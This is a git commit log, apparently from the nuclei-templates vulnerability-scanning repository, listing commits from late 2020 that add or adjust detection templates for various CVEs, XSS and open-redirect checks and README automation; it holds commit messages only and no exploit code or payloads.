bauthard	e59b433c3e	Favicon recon ++ Adding 500+ signatures based on shodan-favicon-hashes	2020-11-19 19:38:49 +05:30
GitHub Action	e3290e2d7d	Auto Update README [Thu Nov 19 14:03:49 UTC 2020] 🤖	2020-11-19 14:03:49 +00:00
bauthard	9bd1d96e32	removing temporarily	2020-11-19 19:33:24 +05:30
bauthard	3b36d0c246	removing favicon-detection	2020-11-19 19:28:35 +05:30
GitHub Action	83a399fbbb	Auto Update README [Thu Nov 19 13:57:20 UTC 2020] 🤖	2020-11-19 13:57:20 +00:00
bauthard	a61ffd47a8	Favicon recon ++ Adding 500+ signatures based on shodan-favicon-hashes	2020-11-19 19:26:42 +05:30
Wyatt Dahlenburg	58815f777e	Swapped put-method-enabled to DSL for multi-req	2020-11-18 18:36:57 -06:00
GitHub Action	eb270c814c	Auto Update README [Wed Nov 18 19:13:34 UTC 2020] 🤖	2020-11-18 19:13:34 +00:00
bauthard	1ec8040a8d	Merge pull request #624 from dwisiswant0/add/CVE-2020-13942 Add CVE-2020-13942	2020-11-19 00:42:55 +05:30
GitHub Action	536539570e	Auto Update README [Wed Nov 18 19:09:59 UTC 2020] 🤖	2020-11-18 19:09:59 +00:00
bauthard	7d41f99f4e	Merge pull request #623 from dwisiswant0/add/CVE-2020-16846 Add CVE-2020-16846	2020-11-19 00:39:33 +05:30
Dwi Siswanto	05f41079f4	🔥 Add CVE-2020-13942	2020-11-19 00:47:19 +07:00
Dwi Siswanto	63cfa344bd	🔥 Add CVE-2020-16846	2020-11-19 00:21:07 +07:00
GitHub Action	5bd7f829ab	Auto Update README [Wed Nov 18 14:52:25 UTC 2020] 🤖	2020-11-18 14:52:25 +00:00
bauthard	224e42bbbd	readme wip	2020-11-18 20:21:29 +05:30
GitHub Action	c882f01d0d	Auto Update README [Tue Nov 17 19:15:06 UTC 2020] 🤖	2020-11-17 19:15:06 +00:00
bauthard	2544f78855	Merge pull request #622 from dwisiswant0/feature/auto-update-readme Enhance auto update README	2020-11-18 00:44:38 +05:30
Dwi Siswanto	18c74bc6c9	🔨 Remove unused import	2020-11-18 01:55:17 +07:00
Dwi Siswanto	be8472e760	✏️ Incorrect closing tag	2020-11-18 01:33:14 +07:00
Dwi Siswanto	bd7cb4643f	📝 Add trailing newlines	2020-11-18 01:29:05 +07:00
Dwi Siswanto	ed4cbf6df4	✏️ Wrong variable template	2020-11-18 01:26:27 +07:00
Dwi Siswanto	6ac16c7660	🔨 Fix incorrent path script	2020-11-18 01:23:48 +07:00
Dwi Siswanto	8d47af848b	✏️ Remove unnecessary args	2020-11-18 01:21:17 +07:00
Dwi Siswanto	2a3259b338	🔨 Auto update readme improves	2020-11-18 01:21:17 +07:00
Dwi Siswanto	7f48d4c8c5	🔨 Fix conflicts	2020-11-18 01:20:40 +07:00
GitHub Action	d477db3002	Auto Update README [Tue Nov 17 18:12:06 UTC 2020] 🤖	2020-11-17 18:12:06 +00:00
bauthard	951a32d833	readme wip	2020-11-17 23:41:29 +05:30
bauthard	245450ba03	Merge pull request #617 from geeknik/patch-15 Update open-redirect.yaml	2020-11-17 18:26:19 +05:30
GitHub Action	8d637df405	Auto Update README [Tue Nov 17 12:45:06 UTC 2020] 🤖	2020-11-17 12:45:06 +00:00
bauthard	2a46a9000b	readme. update	2020-11-17 18:14:42 +05:30
bauthard	7186a9c276	Merge pull request #621 from projectdiscovery/readme-auto-update Readme auto update	2020-11-17 18:13:46 +05:30
bauthard	77564e1711	Merge pull request #620 from dwisiswant0/feature/auto-update-readme Feature Auto Update README	2020-11-17 18:12:04 +05:30
Dwi Siswanto	3c65d12715	Merge branch 'feature/auto-update-readme' of github.com:dwisiswant0/nuclei-templates into feature/auto-update-readme	2020-11-17 18:41:17 +07:00
Dwi Siswanto	344760aab5	♻️ Add dep for update readme workflow	2020-11-17 18:39:51 +07:00
Dwi Siswanto	eb015be802	🔨 Update readme script	2020-11-17 18:39:51 +07:00
Dwi Siswanto	c82cf8b720	📝 Fix indents	2020-11-17 18:39:51 +07:00
Dwi Siswanto	dd95ae5a58	♻️ Add auto update README workflow	2020-11-17 18:39:51 +07:00
Dwi Siswanto	1e8e3a9304	🔨 Fix conflicts	2020-11-17 18:39:11 +07:00
bauthard	e857aef0f6	test	2020-11-17 16:58:04 +05:30
bauthard	c03f0f07c1	Merge pull request #618 from geeknik/patch-16 Update kubernetes-pods.yaml	2020-11-17 16:28:44 +05:30
bauthard	9403d02e38	Merge pull request #619 from Sanya1991/master Add CVE-2017-12637 template	2020-11-17 16:28:19 +05:30
bauthard	071e3b25c9	few updates	2020-11-17 16:27:15 +05:30
Sandor Toth	0202889780	cve-2017-12637.yaml tab fixed	2020-11-17 11:18:19 +01:00
Sandor Toth	f5e1d23545	cve-2017-12637.yaml added	2020-11-17 11:14:41 +01:00
Dwi Siswanto	1cb5780680	♻️ Add dep for update readme workflow	2020-11-17 06:43:59 +07:00
Dwi Siswanto	0932426f0e	🔨 Update readme script	2020-11-17 06:43:02 +07:00
Dwi Siswanto	cd4db3c9c5	🔥 Remove README.py	2020-11-17 06:42:49 +07:00
Dwi Siswanto	a8a891d117	📝 Fix indents	2020-11-17 06:02:12 +07:00
Dwi Siswanto	b8b9152950	♻️ Add auto update README workflow	2020-11-17 05:59:12 +07:00
Dwi Siswanto	8747f5ed9c	🔨 Update auto README	2020-11-17 05:58:45 +07:00
Geeknik Labs	7629b08e8e	Update kubernetes-pods.yaml This either needs to match against status 200 or it needs to ignore status 404 due to false positives.	2020-11-16 17:35:49 +00:00
Geeknik Labs	bc398cf3e3	Update open-redirect.yaml Add `langTo` parameter.	2020-11-16 17:02:48 +00:00
bauthard	7c7a7ba69f	readme update	2020-11-16 22:25:13 +05:30
Geeknik Labs	a2243cbf30	Update open-redirect.yaml Add missing host to `RequestURI`. 👍🏻	2020-11-16 16:52:13 +00:00
bauthard	348d46fbb0	Merge pull request #615 from dwisiswant0/add/CVE-2020-8209 Add CVE-2020-8209	2020-11-16 21:58:26 +05:30
Dwi Siswanto	d6198665e7	🔥 Add CVE-2020-8209 References: - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/	2020-11-16 21:49:51 +07:00
bauthard	2f42b6edd7	Adding apache-tomcat-snoop example page	2020-11-16 19:30:33 +05:30
bauthard	2187e142b1	Merge pull request #613 from binaryfigments/master Added check for spoofable SPF records	2020-11-15 20:59:02 +05:30
bauthard	4ed2e6f56f	Merge pull request #614 from mohammedshine/patch-6 Create CVE-2020-14815.yaml	2020-11-14 15:38:05 +05:30
bauthard	b1965155f7	Update CVE-2020-14815.yaml	2020-11-14 15:37:15 +05:30
bauthard	a710c24d4d	Update CVE-2020-14815.yaml	2020-11-14 15:35:06 +05:30
mohammedshine	a273c87c2e	Create CVE-2020-14815.yaml	2020-11-13 01:25:48 +05:30
bauthard	3cf5167077	Update CVE-2019-20141.yaml	2020-11-12 14:30:01 +05:30
bauthard	c4349a33cf	fixing possible false positive	2020-11-12 13:55:56 +05:30
Sebastian Broekhoven	51754d7cd1	added forcepoint	2020-11-11 23:22:57 +01:00
Sebastian Broekhoven	4cc190f1b9	Added: E-mail service detector	2020-11-11 23:21:13 +01:00
Sebastian Broekhoven	8b990fd753	linter	2020-11-11 22:34:40 +01:00
Sebastian Broekhoven	4f4797ceb4	Added check for spoofable SPF records	2020-11-11 22:27:34 +01:00
bauthard	cdfb537623	Merge pull request #612 from harleo/master Rename jira-exploitaiton-workflow.yaml to jira-exploitation-workflow.…	2020-11-12 00:56:14 +05:30
Leo	f03482fdd7	Rename jira-exploitaiton-workflow.yaml to jira-exploitation-workflow.yaml	2020-11-11 20:16:20 +01:00
bauthard	477dc5cf08	Merge pull request #611 from harleo/master Corrected Jira workflow typos	2020-11-12 00:36:10 +05:30
Leo	86ec9f5ab3	Update jira-exploitaiton-workflow.yaml Corrected exploitation typo	2020-11-11 19:51:48 +01:00
Leo	77fefbc493	Update README.md Corrected typo in Jira workflow	2020-11-11 19:50:43 +01:00
bauthard	d85749b5c7	Update springboot-detect.yaml	2020-11-11 17:33:07 +05:30
bauthard	4f746684c8	Encoding updates	2020-11-10 19:43:51 +05:30
bauthard	377a7df758	Adding NUUO NVRmini2 3.0.8 - Remote Code Execution	2020-11-09 16:09:50 +05:30
bauthard	dab35a9b8c	Merge pull request #608 from ironfisto/master Added aws load balancer tech detect yaml	2020-11-08 15:49:08 +05:30
bauthard	e9902629c1	moving files	2020-11-08 15:47:24 +05:30
Mukul	9fc3e503da	fixed file ext issue	2020-11-08 15:30:03 +05:30
Mukul	dadf6694e8	added aws load balancer tech detect yml	2020-11-08 14:46:02 +05:30
bauthard	56ee390869	Adding Wordpress Plugin Scanner	2020-11-07 18:40:51 +05:30
bauthard	1505e88b68	Merge pull request #556 from projectdiscovery/basic-auth-fuzzing Adding basic auth fuzzing	2020-11-07 18:23:18 +05:30
bauthard	25c00e7af7	Update .nuclei-ignore	2020-11-07 18:21:41 +05:30
bauthard	e7efb8929f	Delete wp-plugin-scan.yaml	2020-11-07 18:17:51 +05:30
bauthard	bf8504e12a	Delete wp-plugins.txt	2020-11-07 18:10:27 +05:30
bauthard	eb47380134	Update azure-takeover-detection.yaml	2020-11-07 17:38:04 +05:30
bauthard	739e7e0472	Merge pull request #607 from CasperGN/alerta-fix Search for "provider":"ldap" to complete the match on the cve	2020-11-07 17:16:22 +05:30
Casper Guldbech Nielsen	29d421549a	Search for "provider":"ldap" to complete the match on the cve Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-11-07 12:37:29 +01:00
bauthard	b85f5656c8	Merge pull request #606 from CasperGN/cve-2020-26214 Add cve-2020-26214 detection	2020-11-07 16:42:45 +05:30
Casper Guldbech Nielsen	e9b57b3e9a	Add cve-2020-26214 detection Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-11-07 11:47:02 +01:00
bauthard	f8eaaae3cb	Merge pull request #604 from aancw/master Add Kibana Service Technology	2020-11-06 16:25:19 +05:30
bauthard	de55e6439d	Update kibana-detect.yaml	2020-11-06 16:24:02 +05:30
bauthard	beeb8ca5b7	Update jira-exploitaiton-workflow.yaml	2020-11-06 15:59:10 +05:30
bauthard	cd90698cb5	Adding cve-2019-3402	2020-11-06 15:58:11 +05:30
bauthard	740f726208	Merge pull request #605 from savushkin-yauheni/patch-2 add new vulns to wordpress-workflow.yaml	2020-11-06 13:55:20 +05:30
Zhenya Savushkin	7c1b99b2ac	add new vulns to wordpress-workflow.yaml	2020-11-06 10:53:49 +03:00
Aan	d2c0b785ba	Simplifying Yaml Format	2020-11-04 16:40:46 +07:00
Aan	9893610bb1	Add Kibana Service Technology	2020-11-04 15:49:18 +07:00
bauthard	6adbc5e25a	Merge pull request #603 from geeknik/patch-14 Update top-15-xss.yaml	2020-11-04 10:49:56 +05:30
Geeknik Labs	acae0a9d48	Update top-15-xss.yaml Fine tuning the template. Sometimes a host will redirect the original request to another page or subdomain and the XSS happens on that page instead of with the original request. I believe a max-redirects of 1 should be sufficient.	2020-11-03 18:00:38 +00:00
PR3R00T	0629ac200c	Update and rename unecrypted-bigip-ltm-cookie.yaml to unencrypted-bigip-ltm-cookie.yaml fixing spelling mistake	2020-11-02 21:11:04 +00:00
PR3R00T	767492ff09	Adding Unencrypted F5 Cookie disclosure Locate F5 Load balancer Persistence cookies, use other tools to decode these cookies to disclose internal IP address and port number of the service.	2020-11-02 21:07:47 +00:00
bauthard	449786eb6b	Merge pull request #600 from geeknik/patch-13 Update basic-xss-prober.yaml	2020-11-02 20:58:27 +05:30
bauthard	a32e2e7540	Update basic-xss-prober.yaml	2020-11-02 20:55:36 +05:30
Geeknik Labs	5e911f5cd9	Update basic-xss-prober.yaml Hoping to cut down on false positives by ignoring reflections from JSON API endpoints	2020-11-02 15:04:05 +00:00
nodauf	fdeff23cd4	Fix error "too many spaces after colon"	2020-10-24 23:25:47 +02:00
nodauf	70c4e76f05	Add iis-shortname template	2020-10-24 23:21:17 +02:00
bauthard	ace1f4ee25	Update wp-plugin-scan.yaml	2020-10-14 02:22:21 +05:30
bauthard	99cc39a4ef	updates	2020-10-14 02:20:08 +05:30
bauthard	15976d70b9	few updates	2020-10-14 02:12:49 +05:30
bauthard	8dc8566538	Update basic-auth-workflow.yaml	2020-10-14 00:03:18 +05:30
bauthard	1c4c6982d5	Adding basic auth detection / bruteforce / workflows	2020-10-13 23:55:28 +05:30
bauthard	5d3c429763	Adding Wordpress Plugin Scanner will be merged after next release of nuclei	2020-10-13 17:22:57 +05:30
toufik-airane	eb1a417534	Add README.py and update README.md Add a Python3 script named README.py to automatically update the README.md on triggers. Some stuffs is missing like the numbers of HTTP/DNS requests per template Directory. Feel free to contribute if you think it's reliable.	2020-09-09 19:23:19 +02:00